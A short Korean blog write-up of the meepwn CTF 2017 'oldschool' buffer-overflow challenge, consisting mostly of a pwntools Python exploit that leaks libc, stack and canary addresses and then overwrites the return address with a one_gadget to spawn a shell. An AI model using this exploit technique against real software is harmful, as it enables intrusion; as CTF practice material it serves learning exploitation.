CTF/2017
meepwn CTF 2017 - oldschool
powerprove
2017. 7. 23. 00:26
bof 문제.
아이다 디컴파일이 안되는법 해결은 아래 포스트에.
카나리 우회가 귀찮다.
스택에 널을 많이 넣고 원샷 돌림.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | # !/usr/bin/env python # powerprove from pwn import * import sys if len(sys.argv) < 2: host = "localhost" port = 4000 def menu(index): s.recvuntil("Choice:") s.sendline(str(index)) def add_book(name, author, payload_len , payload): menu(1) s.recvuntil("name") s.sendline(name) s.recvuntil("Author") s.sendline(author) s.recvuntil("Description:") s.sendline(str(payload_len)) s.recvuntil("Description") s.sendline(str(payload)) def leak(): menu(4) s.recvuntil("AAAA") libc_base = u64(s.recv(6).ljust(8,"\x00")) -0x7a5e8 log.info("libc_base : "+hex(libc_base)) return libc_base def edit(index, payload, payload2): menu(2) s.recvuntil("edit") s.sendline(str(index)) s.sendline(payload) s.sendline(payload2) s = remote(host, port) raw_input("meepwn : oldshcool") if __name__ == "__main__": add_book("B"*31, "B"*31, 256, "AAAA") libc_base = leak() edit(1, "B", "B") s.sendline("A"*28) menu(4) s.recvuntil("A"*28) stack = u64(s.recv(6).ljust(8, "\x00")) -0x123 log.info("stack : "+hex(stack)) menu(1) s.sendline("C"*64) edit(2, "D"*100, "D"*400) edit(1, "D"*100, "E"*(829) + "\x00" + p32(0x1) +p64(stack + 0x301 - 68) + "D"*200) menu(4) s.recvuntil("Description: ") canary = u64(s.recv(7) + "\x00") log.info("canary : "+hex(canary)) one_gadget = libc_base + 0xf0274 edit(1 , "A", "A") payload = p64(canary) payload += "A"*15 payload += p64(one_gadget) + "\x00"*0x60 s.sendline(payload) s.recvuntil("Choice:") s.sendline("FUCK") s.interactive() | cs |